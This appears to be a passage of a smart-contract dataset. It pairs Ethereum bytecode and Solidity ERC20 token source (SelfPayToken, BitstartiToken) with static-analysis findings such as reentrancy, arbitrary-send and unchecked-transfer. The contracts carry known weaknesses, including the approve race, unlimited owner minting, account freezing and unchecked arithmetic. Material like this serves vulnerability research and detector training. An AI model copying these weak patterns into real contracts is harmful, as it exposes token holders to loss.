20f5878761234d565b6001600160a01b038e1660008181526007602090815260408083208151808301835290546001600160801b038082168352600160801b9091048116828501529484526001909252909120548151979c50959a5093985091965094509092439116111561220357617dfa6121688a896127c5565b835161217e9043906001600160801b03166127ae565b6121889190612777565b61219291906127c5565b82602001516001600160801b03166121aa9190612777565b6121b490826127ae565b8711156122035760405162461bcd60e51b815260206004820152601960248201527f546f6b656e73206c6f636b656420666f72207374616b696e67000000000000006044820152606401610709565b61220d87826127ae565b6001600160a01b03808d1660009081526001602052604080822093909355908c1681529081208054889290612243908490612796565b90915550503060009081526001602052604081208054859290612267908490612796565b90915550506001600160a01b038a1661dead14156122da5783600660138282829054906101000a90046cffffffffffffffffffffffffff166122a991906128d6565b92506101000a8154816cffffffffffffffffffffffffff02191690836cffffffffffffffffffffffffff1602179055505b84600560008282546122ec91906127ae565b92505081905550896001600160a01b03168b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161233891815260200190565b60405180910390a35050505050505050505050565b600080600080600061237960405180606001604052806000815260200160008152602001600081525090565b611d1088886040015167ffffffffffffffff16896060015167ffffffffffffffff16611f1b565b600060208083528351808285015260005b818110156123cd578581018301518582016040015282016123b1565b818111156123df576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461126657600080fd5b6000806040838503121561241d57600080fd5b8235612428816123f5565b946020939093013593505050565b600080600080600060a0868803121561244e57600080fd5b8535945060208601359350604086013560ff8116811461246d57600080fd5b94979396509394606081013594506080013592915050565b60008060006060848603121561249a57600080fd5b83356124a5816123f5565b925060208401356124b5816123f5565b929592945050506040919091013590565b6000602082840312156124d857600080fd5b81356119d7816123f5565b6000602082840312156124f557600080fd5b813563ffffffff811681146119d757600080fd5b803567ffffffffffffffff8116811461252157600080fd5b919050565b60006080828403121561253857600080fd5b6040516080810181811067ffffffffffffffff8211171561256957634e487b7160e01b600052604160045260246000fd5b60405261257583612509565b815261258360208401612509565b602082015261259460408401612509565b60408201526125a560608401612509565b60608201529392505050565b600080604083850312156125c457600080fd5b82356125cf816123f5565b915060208301356125df816123f5565b809150509250929050565b6000602082840312156125fc57600080fd5b81356cffffffffffffffffffffffffff811681146119d757600080fd5b801515811461126657600080fd5b6000806040838503121561263a57600080fd5b8235612645816123f5565b915060208301356125df81612619565b60006020828403121561266757600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156126bf5781600019048211156126a5576126a561266e565b808516156126b257918102915b93841c9390800290612689565b509250929050565b6000826126d657506001610686565b816126e357506000610686565b81600181146126f957600281146127035761271f565b6001915050610686565b60ff8411156127145761271461266e565b50506001821b610686565b5060208310610133831016604e8410600b8410161715612742575081810a610686565b61274c8383612684565b80600019048211156127605761276061266e565b029392505050565b60006119d760ff8416836126c7565b60008160001904831182151516156127915761279161266e565b500290565b600082198211156127a9576127a961266e565b500190565b6000828210156127c0576127c061266e565b500390565b6000826127e257634e487b7160e01b600052601260045260246000fd5b500490565b600063ffffffff8083168185168083038211156128065761280661266e565b01949350505050565b60006020828403121561282157600080fd5b81516119d781612619565b600067ffffffffffffffff8083168185168083038211156128065761280661266e565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156128b55784516001600160a01b031683529383019391830191600101612890565b50506001600160a01b03969096166060850152505050608001529392505050565b60006cffffffffffffffffffffffffff8083168185168083038211156128065761280661266e56fea2646970667358221220f8076a16343f7f27a983b33449f5a22698d71e99a571f1ef2d6b8dc745823b3764736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,849
0x3defc24afd8e4ee96c86dadd728aef0a5774ad75
pragma solidity ^0.4.13; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract SelfPayToken is MintableToken,BurnableToken { string public constant name = "SelfPay.asia Token"; string public constant symbol = "SXP"; uint256 public decimals = 18; bool public tradingStarted = false; /** * @dev modifier that throws if trading has not started yet */ modifier hasStartedTrading() { require(tradingStarted); _; } /** * @dev Allows the owner to enable the trading. */ function startTrading() onlyOwner public { tradingStarted = true; } /** * @dev Allows anyone to transfer the SelfPayToken tokens once trading has started * @param _to the recipient address of the tokens. * @param _value number of tokens to be transfered. */ function transfer(address _to, uint _value) hasStartedTrading public returns (bool){ return super.transfer(_to, _value); } /** * @dev Allows anyone to transfer the SelfPayToken tokens once trading has started * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) hasStartedTrading public returns (bool){ return super.transferFrom(_from, _to, _value); } }
0x606060405236156101045763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010957806306fdde0314610130578063095ea7b3146101bb57806318160ddd146101f157806323b872dd14610216578063293230b814610252578063313ce5671461026757806340c10f191461028c57806342966c68146102c25780635b4f472a146102da578063661884631461030157806370a08231146103375780637d64bcb4146103685780638da5cb5b1461038f57806395d89b41146103be578063a9059cbb14610449578063d73dd6231461047f578063dd62ed3e146104b5578063f2fde38b146104ec575b600080fd5b341561011457600080fd5b61011c61050d565b604051901515815260200160405180910390f35b341561013b57600080fd5b61014361052e565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101805780820151818401525b602001610167565b50505050905090810190601f1680156101ad5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c657600080fd5b61011c600160a060020a0360043516602435610565565b604051901515815260200160405180910390f35b34156101fc57600080fd5b6102046105d2565b60405190815260200160405180910390f35b341561022157600080fd5b61011c600160a060020a03600435811690602435166044356105d8565b604051901515815260200160405180910390f35b341561025d57600080fd5b610265610602565b005b341561027257600080fd5b61020461062e565b60405190815260200160405180910390f35b341561029757600080fd5b61011c600160a060020a0360043516602435610634565b604051901515815260200160405180910390f35b34156102cd57600080fd5b610265600435610755565b005b34156102e557600080fd5b61011c6107fa565b604051901515815260200160405180910390f35b341561030c57600080fd5b61011c600160a060020a0360043516602435610803565b604051901515815260200160405180910390f35b341561034257600080fd5b610204600160a060020a03600435166108ff565b60405190815260200160405180910390f35b341561037357600080fd5b61011c61091e565b604051901515815260200160405180910390f35b341561039a57600080fd5b6103a26109a5565b604051600160a060020a03909116815260200160405180910390f35b34156103c957600080fd5b6101436109b4565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101805780820151818401525b602001610167565b50505050905090810190601f1680156101ad5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561045457600080fd5b61011c600160a060020a03600435166024356109eb565b604051901515815260200160405180910390f35b341561048a57600080fd5b61011c600160a060020a0360043516602435610a13565b604051901515815260200160405180910390f35b34156104c057600080fd5b610204600160a060020a0360043581169060243516610ab8565b60405190815260200160405180910390f35b34156104f757600080fd5b610265600160a060020a0360043516610ae5565b005b60035474010000000000000000000000000000000000000000900460ff1681565b60408051908101604052601281527f53656c665061792e6173696120546f6b656e0000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60005481565b60055460009060ff1615156105ec57600080fd5b6105f7848484610b7e565b90505b5b9392505050565b60035433600160a060020a0390811691161461061d57600080fd5b6005805460ff191660011790555b5b565b60045481565b60035460009033600160a060020a0390811691161461065257600080fd5b60035474010000000000000000000000000000000000000000900460ff161561067a57600080fd5b60005461068d908363ffffffff610caa16565b6000908155600160a060020a0384168152600160205260409020546106b8908363ffffffff610caa16565b600160a060020a0384166000818152600160205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a282600160a060020a031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a35060015b5b5b92915050565b600080821161076357600080fd5b5033600160a060020a0381166000908152600160205260409020546107889083610cc4565b600160a060020a038216600090815260016020526040812091909155546107b5908363ffffffff610cc416565b600055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25b5050565b60055460ff1681565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561086057600160a060020a033381166000908152600260209081526040808320938816835292905290812055610897565b610870818463ffffffff610cc416565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3600191505b5092915050565b600160a060020a0381166000908152600160205260409020545b919050565b60035460009033600160a060020a0390811691161461093c57600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a15060015b5b90565b600354600160a060020a031681565b60408051908101604052600381527f5358500000000000000000000000000000000000000000000000000000000000602082015281565b60055460009060ff1615156109ff57600080fd5b610a098383610cdb565b90505b5b92915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610a4b908363ffffffff610caa16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a35060015b92915050565b600160a060020a038083166000908152600260209081526040808320938516835292905220545b92915050565b60035433600160a060020a03908116911614610b0057600080fd5b600160a060020a0381161515610b1557600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600080600160a060020a0384161515610b9657600080fd5b50600160a060020a03808516600081815260026020908152604080832033909516835293815283822054928252600190529190912054610bdc908463ffffffff610cc416565b600160a060020a038087166000908152600160205260408082209390935590861681522054610c11908463ffffffff610caa16565b600160a060020a038516600090815260016020526040902055610c3a818463ffffffff610cc416565b600160a060020a03808716600081815260026020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b509392505050565b600082820183811015610cb957fe5b8091505b5092915050565b600082821115610cd057fe5b508082035b92915050565b6000600160a060020a0383161515610cf257600080fd5b600160a060020a033316600090815260016020526040902054610d1b908363ffffffff610cc416565b600160a060020a033381166000908152600160205260408082209390935590851681522054610d50908363ffffffff610caa16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060015b929150505600a165627a7a72305820bee48e80c1bf5bbae4ff311e8fb1aed492099108818b99a2b16a7ca56a3b34810029
{"success": true, "error": null, "results": {}}
6,850
0x0f81a937ce3e7bb95edb14b81951e93e68fcda50
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract Bitstarti { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function Bitstarti( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract BitstartiToken is owned, Bitstarti { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function BitstartiToken( uint256 initialSupply, string tokenName, string tokenSymbol ) Bitstarti(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } }
0x606060405236156100b8576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bd578063095ea7b31461014c57806318160ddd146101a657806323b872dd146101cf578063313ce5671461024857806342966c681461027757806370a08231146102b257806379cc6790146102ff57806395d89b4114610359578063a9059cbb146103e8578063cae9ca511461042a578063dd62ed3e146104c7575b600080fd5b34156100c857600080fd5b6100d0610533565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101115780820151818401525b6020810190506100f5565b50505050905090810190601f16801561013e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015757600080fd5b61018c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105d1565b604051808215151515815260200191505060405180910390f35b34156101b157600080fd5b6101b961065f565b6040518082815260200191505060405180910390f35b34156101da57600080fd5b61022e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610665565b604051808215151515815260200191505060405180910390f35b341561025357600080fd5b61025b610793565b604051808260ff1660ff16815260200191505060405180910390f35b341561028257600080fd5b61029860048080359060200190919050506107a6565b604051808215151515815260200191505060405180910390f35b34156102bd57600080fd5b6102e9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108ab565b6040518082815260200191505060405180910390f35b341561030a57600080fd5b61033f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108c3565b604051808215151515815260200191505060405180910390f35b341561036457600080fd5b61036c610ade565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ad5780820151818401525b602081019050610391565b50505050905090810190601f1680156103da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103f357600080fd5b610428600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b7c565b005b341561043557600080fd5b6104ad600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610b8c565b604051808215151515815260200191505060405180910390f35b34156104d257600080fd5b61051d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d0b565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c95780601f1061059e576101008083540402835291602001916105c9565b820191906000526020600020905b8154815290600101906020018083116105ac57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190505b92915050565b60035481565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106f257600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610787848484610d30565b600190505b9392505050565b600260009054906101000a900460ff1681565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156107f657600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600190505b919050565b60046020528060005260406000206000915090505481565b600081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561091357600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561099e57600080fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600190505b92915050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b745780601f10610b4957610100808354040283529160200191610b74565b820191906000526020600020905b815481529060010190602001808311610b5757829003601f168201915b505050505081565b610b87338383610d30565b5b5050565b600080849050610b9c85856105d1565b15610d02578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c975780820151818401525b602081019050610c7b565b50505050905090810190601f168015610cc45780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610ce557600080fd5b6102c65a03f11515610cf657600080fd5b50505060019150610d03565b5b509392505050565b6005602052816000526040600020602052806000526040600020600091509150505481565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610d5757600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610da557600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515610e3357600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114151561104057fe5b5b505050505600a165627a7a72305820c76996a2ef185f8b4a45cf4a5037d1ee15312f5b2f65376430bc6e99ca899c970029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
6,851
0xc40e4a145a267f12c1a8096cae015e6289fff813
